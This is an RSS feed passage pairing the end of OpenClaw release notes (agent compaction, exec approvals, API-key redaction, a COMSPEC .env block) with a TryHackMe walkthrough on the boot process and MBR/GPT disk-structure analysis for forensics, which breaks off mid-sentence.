<p>Web search: describe <code>web_search</code> as using the configured provider instead of hard-coding Brave when DuckDuckGo or another provider is active. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358379474" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75088" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75088/hovercard" href="https://github.com/openclaw/openclaw/issues/75088">#75088</a>. Thanks @sun-rongyang.</p>
</li>
<li>
<p>Infra/tmp: tolerate concurrent temp-dir permission repairs by rechecking directories that another process already tightened, so parallel ACP subprocess startup no longer throws <code>Unsafe fallback OpenClaw temp dir</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265270151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66867" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66867/hovercard" href="https://github.com/openclaw/openclaw/issues/66867">#66867</a>. Thanks @Kane808-AI and @jarvisz8.</p>
</li>
<li>
<p>Agents/compaction: add an opt-in <code>agents.defaults.compaction.midTurnPrecheck</code> mid-turn precheck that detects tool-loop context pressure and triggers compaction before the next tool call instead of waiting for end-of-turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342551639" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73499" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73499/hovercard" href="https://github.com/openclaw/openclaw/pull/73499">#73499</a>) Thanks @marchpure and @haoxingjun.</p>
</li>
<li>
<p>Gateway/approvals: let loopback token/password-backed native approval clients resolve exec approvals without attaching stale paired Gateway identities, while remote and unauthenticated approval clients keep normal device identity behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352121168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74472" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74472/hovercard" href="https://github.com/openclaw/openclaw/pull/74472">#74472</a>)</p>
</li>
<li>
<p>Gateway/config: include rejected validation paths in foreground and service last-known-good recovery logs plus main-agent notices, so unsupported direct edits explain which key caused restore instead of looking like silent reversion. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357904226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75060" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75060/hovercard" href="https://github.com/openclaw/openclaw/issues/75060">#75060</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Plugins/runtime-deps: hash the OS-canonical <code>packageRoot</code> via <code>fs.realpathSync.native</code> (with <code>path.resolve</code> fallback) when computing the bundled runtime-deps stage key, so loader and channel <code>bundled-root</code> callers no longer derive divergent stage directories under <code>~/.openclaw/plugin-runtime-deps/openclaw-&lt;version&gt;-&lt;hash&gt;/</code> and bundled channels stop failing with <code>ENOENT</code> on shared dist chunks under Windows npm symlinks, junctions, or PM2 multi-instance worker layouts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356458695" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74963" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74963/hovercard" href="https://github.com/openclaw/openclaw/issues/74963">#74963</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357655594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75048" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75048/hovercard" href="https://github.com/openclaw/openclaw/pull/75048">#75048</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>fix(logging): add redaction patterns for Tencent Cloud, Alibaba Cloud, HuggingFace and Replicate API keys (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4176207505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58162/hovercard" href="https://github.com/openclaw/openclaw/pull/58162">#58162</a>). Thanks @gavyngong</p>
</li>
<li>
<p>Pairing: surface unexpected allowlist filesystem stat errors instead of treating the allowlist as missing, so permission and I/O failures are visible during pairing authorization checks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226978925" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63324" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63324/hovercard" href="https://github.com/openclaw/openclaw/pull/63324">#63324</a>) Thanks @franciscomaestre.</p>
</li>
<li>
<p>macOS app: reserve layout space for exec approval command details so the allow dialog no longer overlaps the command, context, and action buttons. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363145435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75470" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75470/hovercard" href="https://github.com/openclaw/openclaw/pull/75470">#75470</a>) Thanks @ngutman.</p>
</li>
<li>
<p>Agents/failover: carry <code>sessionId</code>, <code>lane</code>, <code>provider</code>, <code>model</code>, and <code>profileId</code> attribution through <code>FailoverError</code> and <code>describeFailoverError</code>/<code>coerceToFailoverError</code> so structured error logs (e.g. <code>gateway.err.log</code> ingestion) can attribute exhausted-fallback wrapper errors to the originating session and last-attempted provider instead of dropping the metadata after the per-profile errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4055391486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42713" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42713/hovercard" href="https://github.com/openclaw/openclaw/issues/42713">#42713</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342577768" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73506" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73506/hovercard" href="https://github.com/openclaw/openclaw/pull/73506">#73506</a>) Thanks @wenxu007.</p>
</li>
<li>
<p>Context Engine: treat assembled prompt as the default authority for preemptive overflow prechecks so engines that return a windowed, self-contained context no longer trigger false hard-fail compactions on huge raw history. Engines whose assembled view can hide overflow risk can opt back into the legacy behavior with <code>AssembleResult.promptAuthority: "preassembly_may_overflow"</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349382434" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74255" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74255/hovercard" href="https://github.com/openclaw/openclaw/pull/74255">#74255</a>) Thanks @100yenadmin.</p>
</li>
<li>
<p>Mattermost: refresh current native slash command registrations before accepting callbacks so stale tokens from deleted or regenerated commands stop being accepted without a gateway restart while failed validations stay briefly cached and lookup starts are rate-limited per command, gate each callback against the resolved command's own startup token so a token leaked for one slash command cannot poison another command's failure cache, redact slash validation lookup errors, and add a body read timeout to the multi-account routing path so slow callback senders cannot tie up the dispatcher. Thanks @feynman-hou and @eleqtrizit.</p>
</li>
<li>
<p>Security/dotenv: block <code>COMSPEC</code> in workspace <code>.env</code> so a malicious repo cannot redirect Windows <code>cmd.exe</code> resolution, and lock in case-insensitive workspace-<code>.env</code> regression coverage for the full Windows shell trust-root family (<code>COMSPEC</code>, <code>PROGRAMFILES</code>, <code>PROGRAMW6432</code>, <code>SYSTEMROOT</code>, <code>WINDIR</code>). (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351902035" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74460" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74460/hovercard" href="https://github.com/openclaw/openclaw/pull/74460">#74460</a>) Thanks @mmaps.</p>
</li>
<li>
<p>Gateway/install: drop stale version-manager and package-manager PATH entries preserved from old service files during <code>gateway install --force</code> and doctor repair, so the repair path no longer recreates <code>gateway-path-nonminimal</code> warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360586723" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75220" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75220/hovercard" href="https://github.com/openclaw/openclaw/issues/75220">#75220</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363000761" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75440" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75440/hovercard" href="https://github.com/openclaw/openclaw/pull/75440">#75440</a>) Thanks @leonaIee, @renaudcerrato, and @aaajiao.</p>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe Walkthrough: MBR and GPT Analysis (Beginner to Intermediate Guide)]]></title>
<description><![CDATA[Before Windows Loads: The Hidden Boot Architecture Every Tech Person Should UnderstandBefore Windows shows you a login screen, before Linux mounts a single filesystem, before any software you have ever used touches RAM — a completely different system runs first. It has no interface. It makes no s...]]></description>
<link>https://tsecurity.de/de/3481897/hacking/tryhackme-walkthrough-mbr-and-gpt-analysis-beginner-to-intermediate-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3481897/hacking/tryhackme-walkthrough-mbr-and-gpt-analysis-beginner-to-intermediate-guide/</guid>
<pubDate>Sat, 02 May 2026 09:51:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Before Windows Loads: The Hidden Boot Architecture Every Tech Person Should Understand</p><blockquote><em>Before Windows shows you a login screen, before Linux mounts a single filesystem, before any software you have ever used touches RAM — a completely different system runs first. It has no interface. It makes no sound. And if even two bytes of it are wrong, your computer will not boot at all.</em></blockquote><p>Every time you press the power button, a precise chain of events unfolds in the dark — invisible, silent, and entirely outside the operating system you think of as your computer. This chain involves firmware burned into your motherboard, cryptographic checksums, backup copies of critical structures, and a 92-byte document that maps your entire disk. Understanding this chain does not just satisfy curiosity. It explains why systems fail, how malware hides below the OS, and how forensic analysts recover data that users believe is gone forever.</p><p>This guide walks through the complete boot process — from dead hardware to running OS — covering MBR, GPT, and every structure in between. No surface-level overview. The real thing.</p><h4>Step 1 — Power-On: The CPU Wakes Up With No Instructions</h4><p>When electrical current reaches your motherboard, the CPU powers on. But it is completely blank at this moment — it has no idea what to do, where the operating system is, or even what kind of disk is connected. It needs a starting point.</p><p>That starting point is a chip permanently soldered onto your motherboard called the <strong>firmware chip</strong>. The CPU’s first action is always to execute whatever code lives at a fixed memory address on that chip. This is either <strong>BIOS</strong> or <strong>UEFI</strong> — two generations of the same idea.</p><h4>BIOS vs UEFI — Why It Matters?</h4><p>Both are firmware: software permanently stored in hardware, responsible for starting the machine and handing control to your OS. The difference is everything else.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*da_cSAZTNIsX5zk1-uXgKA.png"></figure><p><strong>BIOS (Basic Input/Output System)</strong> is the original standard, introduced in the 1970s. It operates in 16-bit mode, cannot recognise disks larger than 2 TB, has no graphical interface, and offers no security features. It is a relic that modern systems have abandoned.</p><p><strong>UEFI</strong> <strong>(Unified Extensible Firmware Interface)</strong> is the modern replacement. It supports huge disks, has a graphical interface, and includes <strong>Secure Boot</strong> — a feature that verifies the bootloader hasn’t been tampered with, protecting against malware that attacks before the OS loads. It also keeps a backup of boot code, so if something gets corrupted, it can recover.</p><blockquote><strong>How to check on Windows:</strong> Press Windows + R, type msinfo32, press Enter. Look for <strong>BIOS Mode</strong> — it will say either <strong>Legacy</strong> (BIOS) or <strong>UEFI</strong>.</blockquote><h4>Step 2 — POST: The Hardware Health Check</h4><p>Once the CPU starts executing firmware instructions, the first thing BIOS/UEFI does is run a <strong>POST (Power-On Self Test)</strong>. This is a quick health check of all hardware:</p><ul><li>Is RAM working?</li><li>Is the keyboard connected?</li><li>Are storage drives detected?</li><li>Is the GPU responding?</li></ul><p>If everything is fine, you get <strong>one short beep</strong> (on systems with a speaker) and the process continues. If something is wrong, you hear a <strong>pattern of beeps</strong> — each pattern means a different error. Error messages may also appear on screen (e.g., “Keyboard not found”). Only after POST passes does the firmware move on to finding the operating system.</p><h4>Step 3 — Locate a Bootable Device</h4><p>After POST passes, BIOS/UEFI looks for a <strong>bootable device</strong> — this could be:</p><ul><li>An SSD or HDD</li><li>A USB drive</li><li>A CD/DVD</li></ul><p>It checks them in a priority order you can usually configure (called the <strong>boot order</strong>). To check if a disk is bootable or to find the OS, it must: read the disk and understand its structure. To do that, they use an addressing system to locate data on the disk. At this point, BIOS uses an older, simpler addressing system (tied to MBR) that can only count up to certain number of storage blocks — which caps out at 2 TB. Any space beyond 2 TB is simply invisible to BIOS — it can’t see or use it. Whereas, UEFI uses a much more advanced addressing system (tied to GPT) that can handle astronomically large disks — up to 9 Zettabytes, which is far beyond any disk that exists today. Once it finds a bootable device, it reads the very <strong>first sector</strong> of that disk, which contains either:</p><ul><li><strong>MBR</strong> (Master Boot Record) — used with BIOS</li><li><strong>GPT</strong> (GUID Partition Table) — used with UEFI</li></ul><p>To understand about what we are talking, we need to discuss few important concepts with the scenario: Think of your hard drive as a <strong>large warehouse</strong>. Raw data — documents, videos, system files — is stored inside it as <strong>1s and 0s</strong>, the only language a computer understands. But a warehouse full of randomly dumped boxes is useless. You need structure.</p><p>Before we go further, we need to establish the foundational concepts that make all of this work.</p><h3>Foundational Concepts</h3><h4>Partitions:</h4><p>To bring order to this chaos, the disk is split into <strong>partitions</strong> — dedicated sections, each serving a specific purpose:</p><ul><li>One partition holds <strong>operating system files</strong></li><li>Another holds <strong>your personal files</strong></li><li>Another might be reserved for <strong>backups or recovery tools</strong></li></ul><p>A <strong>partition</strong> is a logically defined section of a physical disk, created by grouping a consecutive range of sectors together and treating them as an independent unit.</p><p>On <strong>Windows</strong>, you see these as drive letters — <strong>C:, D:, E:</strong>, and so on. On Linux or macOS, they appear differently (e.g., /dev/sda1), but the concept is the same: separate zones for separate purposes.</p><h4>Why Partitions Aren’t Enough?</h4><p>Dividing the disk into partitions solves the organization problem — but creates a new one. The computer now needs a <strong>map</strong> that tells it:</p><ul><li>How many partitions exist</li><li>Where each one starts and ends</li><li>What each partition contains</li><li>Which partition to boot the operating system from</li></ul><p>This is where <strong>MBR</strong> and <strong>GPT</strong> come in. <strong>MBR (Master Boot Record)</strong> and <strong>GPT (GUID Partition Table)</strong> are <strong>partitioning schemes</strong> — essentially the blueprint of your warehouse, describing every room inside it.</p><h4>Disk Size = Storage Capacity</h4><p>When we say BIOS supports disks up to <strong>2 TB</strong> and UEFI supports up to <strong>9 Zettabytes</strong>, we’re talking about the <strong>total storage capacity</strong> of your hard drive or SSD — how much data it can hold.</p><h3>MBR &amp; GPT: The Blueprints of Your Disk</h3><p><strong>MBR (Master Boot Record)</strong> and <strong>GPT (GUID Partition Table)</strong> are <strong>partitioning schemes</strong> — essentially the blueprint of your warehouse, describing every room inside it. Both partitioning schemes differ in structure and properties, and choosing between them depends on multiple factors, including the disk size, hardware compatibility, and much more. Both live in the <strong>very first sectors of the disk</strong> and are read the moment your computer powers on.</p><h4>What Exactly is Sector?</h4><p>A sector is the smallest unit of storage on a disk. Every disk — whether a hard drive or SSD — is physically divided into millions of tiny, fixed-size slots called sectors, each holding<strong> 512 bytes</strong> of data.When your computer reads or writes anything, it always does so in whole sectors — you can never read or write less than one sector at a time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*_JIM7h0MSvpCS_xKFBrRgg.png"></figure><p>All sector numbering starts from 0, and the v<strong>ery first sector (Sector 0) </strong>holds a special place in the boot process, as it is where the<strong> MBR </strong>(Master Boot Record) lives. The real <strong>GPT </strong>header and partition table start from <strong>Sector 1.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*bsr_R0w7YWvf6VnGx0kjQw.png"></figure><h4>Step 4 — Read the Disk Structure: MBR/GPT</h4><p>When you press the power button, your computer doesn’t yet know where the OS is. It turns to the MBR or GPT first — reading the partition map to figure out <strong>which partition contains the operating system</strong> and <strong>how to load it</strong>. This makes them the first critical step in every startup.</p><h3><strong>What if MBR?</strong></h3><p>The MBR occupies exactly <strong>512 bytes</strong> — starting at the very first sector of the disk. But when you open a raw disk data in a hex editor, how do you know where it ends?</p><p>Looking at the given image, it has three columns:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*Pdx0YWIFoIhHly9CBvqrjg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*SGK9OxnyY1OM2-ogoy22vw.png"></figure><p>There are two ways to find where the MBR ends</p><p><strong>1. Count the rows:</strong> Each row contains <strong>16 bytes</strong>. So:</p><blockquote><em>16 bytes × 32 rows = </em><strong><em>512 bytes = the entire MBR</em></strong></blockquote><p>You can literally count 32 rows from the top — that’s your whole MBR.</p><p><strong>2. Look for the MBR Signature:</strong> The MBR always ends with the magic bytes <strong>55 AA</strong>. This is a universal signature marking the end of MBR code. You can spot it clearly in the <strong>last row</strong> (000001F0) of the hex editor on the right — the final two bytes are 55 AA .</p><blockquote>The first-stage bootloader is when first code (bootstrap code) executes when BIOS loads the MBR into memory.</blockquote><p><strong>The Structure of MBR</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/1*CSVVkp8rlEfdDdaHhJtwQw.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*8OmziEgE-bsLFvFgwwtCsg.png"></figure><p><em>(you may find faults in this image, very useful to visualize the structure of MBR)</em></p><p><strong>A. Bootstrap Code (Bytes 0–445) — Blue<br></strong>This is the largest section, taking up almost the entire MBR. It is the very first piece of code that executes on your machine. Its only job is to scan the <strong>Partition Table </strong>and find which partition is marked as bootable (boot indicator: 80 meaning it is the C:\ Drive). Once it finds the bootable partition, it loads the <strong>second-stage bootloader </strong>from it, which then loads the actual OS kernel.</p><p><strong>B. Partition Table (Bytes 446–509) — Purple, Teal, Coral, Pink<br></strong>This section is the map of all the partitions on the disk. It is only 64 bytes, but carries critical information. Since, MBR disk supports a maximum of 4 partitions, and each partition gets 16 bytes of space in the table making 64 bytes total. Those 16 bytes are divided into 6 fields, for example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GDCfihG47XyOjvmk.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*_N2VK6mZk-9sVd0VaCLdyA.png"></figure><p>For your understanding, the partition details of the same disk through the disk management utility of the Windows OS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CtIiCgsdZvLoZ_JC.png"></figure><p>Now, first understand all the core terms:</p><p><strong>What is CHS? </strong>Hard disks (specifically older ones) are made of circular spinning platters, like CDs stacked on top of each other. Data is stored on these platters in concentric rings. To locate any piece of data physically, you needed three coordinates:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*CKTspbYgqba8R3iL1qKfGA.png"></figure><p>Together, Cylinder+Head+Sector gave you the exact physical location on the disk — like a 3D coordinate system inside the drive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/0*fHOHsAyPpB2E3e0e"></figure><p><strong>The Starting CHS</strong> = where the partition physically begins on these platters<br><strong>The Ending CHS</strong> = where it physically ends</p><p>Modern disks are too large and too complex for CHS to work accurately. CHS can only address up to <strong>~8 GB</strong> of disk space — completely useless for today’s multi-terabyte drives. That’s why LBA replaced it.</p><p><strong>What is LBA — Logical Block Addressing?</strong></p><p>CHS required knowing the physical geometry of the disk — how many platters, how many rings, etc. Different disks had different geometries, making it complicated. LBA throws away all that physical complexity. It says:</p><blockquote><em>“Forget cylinders and heads. Just number every sector from 0 to the end, in a straight line.”</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*30pz97rJT37sphzqPhHv2Q.png"></figure><p>Every sector gets a simple sequential number called its <strong>LBA address</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*ijuST65Ien2GBLpPVdvNtQ.png"></figure><p><strong>LBA Offset — What Does “Offset” Mean?</strong></p><p>An offset is simply a distance from the beginning.</p><ul><li>LBA offset 0 = the very start of the disk</li><li>LBA offset 2048 = 2048 sectors from the start</li></ul><p>To convert an LBA to an actual <strong>byte position</strong> (which is what a hex editor uses):</p><blockquote>Byte Position = LBA * sector size</blockquote><p>So, if the LBA = 2048, we know that the sector size is 512 bytes, the partition starts at <strong>1,048,576 bytes</strong> from the beginning of the disk.</p><p>“The sector the partition starts at” just means: <strong>which sector number does this partition begin at?</strong> In our example, Partition 1 begins at sector 2048.</p><p><strong>Little-Endian vs Big-Endian</strong></p><p>This is about the order in which bytes are stored in memory or on disk.</p><p>The problem is that numbers bigger than one byte need multiple bytes to store. For example, the number 2048 in hex is 0x00000800 — that’s 4 bytes: 00 00 08 00.</p><p>But which byte do you write first?</p><p>Big-Endian — “Natural” Order: Write the most significant (biggest) byte first — just like how humans write numbers:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*CDS_IN8FwZXWoLcXj-lxOg.png"></figure><p>Little Endian — Least Significant (smallest) Byte first:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*7PixknneA80px5-Nej_lgg.png"></figure><p>Intel processors — found in virtually all desktop and laptop computers — use little-endian. This means whenever you read a multi-byte value from an MBR or GPT structure, you must reverse the bytes before interpreting the number.</p><p>Now, field-by-field breakdown:</p><p><strong>Field 1 — Boot Indicator (1 byte)</strong></p><p>This is the simplest field. It answers one yes/no question:<strong> is this partition bootable? </strong>Only <strong>one partition </strong>across all four can have <strong>80. </strong>On windows, this is always your C: drive. All other partitions will show <strong>00.</strong></p><p><strong>Field 2 — Starting CHS Address (3 bytes)</strong></p><p>These 3 bytes tell the system the <strong>physical starting location</strong> of the partition on the actual hardware.</p><p><strong>Field 3 — Partition Type (1 byte)</strong></p><p>This single byte tells you what filesystem the partition uses. Every filesystem has a unique code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*0tHJwz_ZNQpbTgmiZXJH4Q.png"></figure><p><strong>Field 4 — Ending CHS Address (3 bytes)</strong></p><p>Same concept as the Starting CHS Address, but marks the <strong>physical end</strong> of the partition. Again, this is largely <strong>ignored in modern forensics</strong> because LBA addressing (below) is far more reliable and easier to work with.</p><p><strong>Field 5 — Starting LBA Address (4 bytes)</strong></p><p><strong>LBA = Logical Block Addressing</strong> — this is the modern, simplified way to locate a partition. Instead of physical cylinder/head/sector coordinates, LBA gives you a simple <strong>logical number</strong> representing which sector the partition starts at. This is the field forensic analysts care about most, because it lets you <strong>jump directly to the partition</strong> in a hex editor.</p><p><strong>How to use LBA to find the partition:</strong></p><p>The bytes are stored in <strong>little-endian format</strong> — meaning the bytes are written in reverse order (least significant byte first). You must reverse them before doing anything.</p><p><strong>Step 1 — Read the raw bytes:</strong></p><pre>00 08 00 00</pre><p><strong>Step 2 — Reverse them (little endian -&gt; big endian):</strong></p><pre>00 00 08 00</pre><p><strong>Step 3 — Convert hex to decimal:</strong></p><pre>00 00 08 00 (hex) = 2048 (decimal)</pre><p><strong>Step 4 — Multiply by sector size (always 512 bytes):</strong></p><pre>2048 * 512 = 1,048,576</pre><p><strong>Step 5 — Jump to that offset in the hex editor:</strong></p><p>Go to offset 1,048,576 in HxD using Search → Go To → enter the decimal value. You will land <strong>exactly at the start of this partition</strong> on the disk.</p><blockquote><em>This technique is extremely powerful in forensics. Even if a partition has been deleted or hidden, as long as the LBA entry exists or can be reconstructed, you can jump directly to it and carve out data that hasn’t been overwritten yet.</em></blockquote><p><strong>Field 6 — Number of Sectors (4 bytes)</strong></p><p>These last 4 bytes tell you <strong>how many sectors the partition contains</strong>, which lets you calculate its exact size of partition.</p><p><strong>Step 1 — Read the raw bytes:</strong></p><pre>00 B0 23 03</pre><p><strong>Step 2 — Reverse them (little-endian):</strong></p><pre>03 23 B0 00</pre><p><strong>Step 3 — Convert hex to decimal:</strong></p><pre>03 23 B0 00 (hex) = 52,670,464 (decimal)</pre><p><strong>Step 4 — Multiply by sector size:</strong></p><pre>52,670,464 × 512 = 26,967,277,568 bytes<br>                 ≈ 25.1 GB</pre><p><strong>C. MBR Signature</strong></p><p>The very last two bytes of the entire 512-byte MBR. These are a hard-wired validity check. The BIOS/UEFI firmware reads these two bytes after loading the MBR and asks: are they 55 AA? Yes → valid MBR, proceed with boot. Anything else → halt and show a boot error. Malware targets these specifically because flipping just these two bytes makes the entire system unbootable instantly.</p><h3><strong>What if GPT?</strong></h3><p>GPT is a complete redesign of how disk structure is stored. Instead of cramming everything into a single 512-byte sector, GPT spreads across multiple sectors, maintains backup copies of everything, and uses cryptographic checksums to detect corruption instantly.</p><p>Before discussing anything, we need to know about few concepts:</p><ol><li><strong>Mixed Endian — </strong>Some parts are little-endian, some are big-endian. GPT uses this for GUIDs.</li><li><strong>GUID (Globally Unique Identifier)</strong> — A 128-bit unique ID assigned to disks and partitions, formatted like C12A7328-F81F-11D2-BA4B-00A0C93EC93B. No two GUIDs are the same — it's like a fingerprint.</li></ol><p>3. <strong>CRC32 (Cyclic Redundancy Check) — </strong>A checksum. The system calculates a number based on the data. If someone tampers with or corrups the data, the CRC32 value changes — acting as a tamper/corruption detector.</p><p><strong>Structure of the GPT:</strong></p><p>Unlike MBR which lived only in Sector 0, GPT spreads across <strong>multiple sectors</strong> and has <strong>5 components</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*5XzTvrk7tz51LA9nBhRVVw.png"></figure><p><strong>Component 1 — Protective MBR (Sector 0)</strong></p><p>The very first sector of a GPT disk still looks like an MBR — but it’s a <strong>fake, dummy MBR</strong>. It exists purely to protect GPT disks from old BIOS systems that don’t understand GPT. Old BIOS systems expect to find an MBR in Sector 0. If they don’t, they might think the disk is blank and accidentally overwrite it. The Protective MBR says to the BIOS — <em>“Yes, I’m an MBR, everything is fine, don’t touch anything.”</em></p><p><strong>Component 2 — Primary GPT Header (Sector 1)</strong></p><p>The real GPT begins here. The GPT Header is the <strong>master blueprint</strong> of your disk — it tells the system everything it needs to know about the disk’s layout. It only uses the first <strong>92 bytes</strong> of the sector. The remaining bytes are padded with zeros.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XJw8tSObzvc7gx2K.png"></figure><p>All 14 Fields Explained:</p><p><strong>1. Signature (Bytes 0–7)</strong> Value: 45 46 49 20 50 41 52 54 This spells "EFI PART" in ASCI — 8 characters, one byte each. It identifies whether this sector is a valid GPT header at all or not. Always present at the very start.</p><p><strong>2. Revision (Bytes 8–11)</strong> Value: 00 00 01 00 → Version 1.0 indicates which version of the GPT specification this disk uses. Almost always 1.0.</p><p><strong>3. Header Size (Bytes 12–15)</strong> Value: 5C 00 00 00 are in little-endian → Reverse→ 00 00 00 5C → Decimal 92 Confirms the GPT header is 92 bytes long. Basically it tells how large the GPT header itself is.</p><p><strong>4. CRC32 of Header (Bytes 16–19)</strong> This is the integrity seal of the GPT header itself. When the header is first written to disk, the computer calculates a CRC32 checksum — a mathematical fingerprint — across all 92 bytes of the header (with this field itself temporarily set to zero during calculation). Every time the computer boots, it recalculates the CRC32 of the header and compares it to this stored value. If they match, the header is intact. If they differ, even by a single bit, the computer knows the header has been corrupted or tampered with. It then looks at the Backup LBA field (field 7) to find the backup header and restores from it. This is GPT’s primary self-healing trigger.</p><p><strong>5. Reserved (Bytes 20–23)</strong> These are the 4 bytes intentionally left empty — always set to zero. They serve as a reserve space: if a future version of GPT needs to add a small new field to the header, these bytes are available without having to redesign the entire header structure. You will always 00 00 00 00 here on any valid GPT disk. If you see anything other than zeros, something has gone wrong — or the disk was formatted by non-standard software.</p><p><strong>6. Current LBA (Bytes 24–31)</strong> Value: 01 00 00 00 00 00 00 00 → Decimal 1 <br>This field stores the sector number where this header itself is located. For the primary header, that is always LBA 1.</p><blockquote>GPT keeps two identical copies of the header: one at the start of the disk (LBA 1) and one at the very end. Both copies are nearly identical, but they swap current LBA field and backup LBA field.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*6ADVOOCu_w3MXfr2xX4K2g.png"></figure><p><strong>7. Backup LBA (Bytes 32–39)</strong> → This field is the address of the partner header — the backup copy of the GPT header stored at the very end of the disk. For the primary header, Backup LBA points to the last sector of the disk. For the backup header, Backup LBA points back to LBA 1. Together, Current LBA and Backup LBA form a two-way handshake: each header knows exactly where it is and exactly where its partner lives. This is how the system knows where to find the backup if the primary gets corrupted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Sex1qk3OjXb4e1MKDiIUdQ.png"></figure><p><strong>8. First Usable LBA (Bytes 40–47)</strong> The first sector where actual partition data can begin. Sectors from 0 to 33 before this are reserved for GPT’s own structures. The value 22 in hex = 34 in decimal, so LBA 34 is the first usable sector. If any partition started before LBA 34, it would overwrite these critical structures and destroy the disk layout. This field is the safety boundary. Any disk management tool creating a new partition checks this field first and ensures no partition starts before this value. Every partition’s individual Starting LBA must be greater than or equal to this number.</p><p><strong>9. Last Usable LBA (Bytes 48–55)</strong> The last sector where partition data can end. Sectors after this are reserved for the backup GPT structures at the end of the disk — a full copy of the Partition Entry Array and the backup GPT header. No partitions can extend beyond this point. The usable space on your disk is therefore a defined window: from First Usable LBA to Last Usable LBA. Everything outside this window belongs to GPT’s own infrastructure. This is why you never get the full advertised disk capacity as usable space — a 